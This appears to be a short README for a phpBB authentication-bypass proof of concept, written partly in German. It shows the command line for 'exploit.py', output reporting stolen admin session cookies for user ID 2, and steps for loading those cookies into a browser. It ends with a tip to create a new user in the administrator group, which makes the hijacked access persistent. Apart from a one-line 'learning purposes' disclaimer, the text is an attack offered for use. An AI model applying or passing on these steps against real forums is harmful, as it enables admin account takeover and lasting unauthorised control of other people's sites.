
Bypass Authentication
Authentifizierung umgehen
Einfacher POC zum Umgehen der Authentifizierung. Wenn du über den Browser darauf zugreifen möchtest, vergiss nicht, die USER_AGENT-Variable im Skript entsprechend dem in deinem Browser angezeigten Wert zu ändern, damit es funktioniert. Verwende einen Cookie-Editor, um die Werte *_sid und *_u zu ersetzen.
phpbb python3 exploit.py https://localhost:8000 joushk
[+] Target: https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
[+] Session cookies obtained:
phpbb3_cl7ge_u: 2
phpbb3_cl7ge_k:
phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.
[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd
[!!!Dieses Skript dient nur zu Lernzwecken]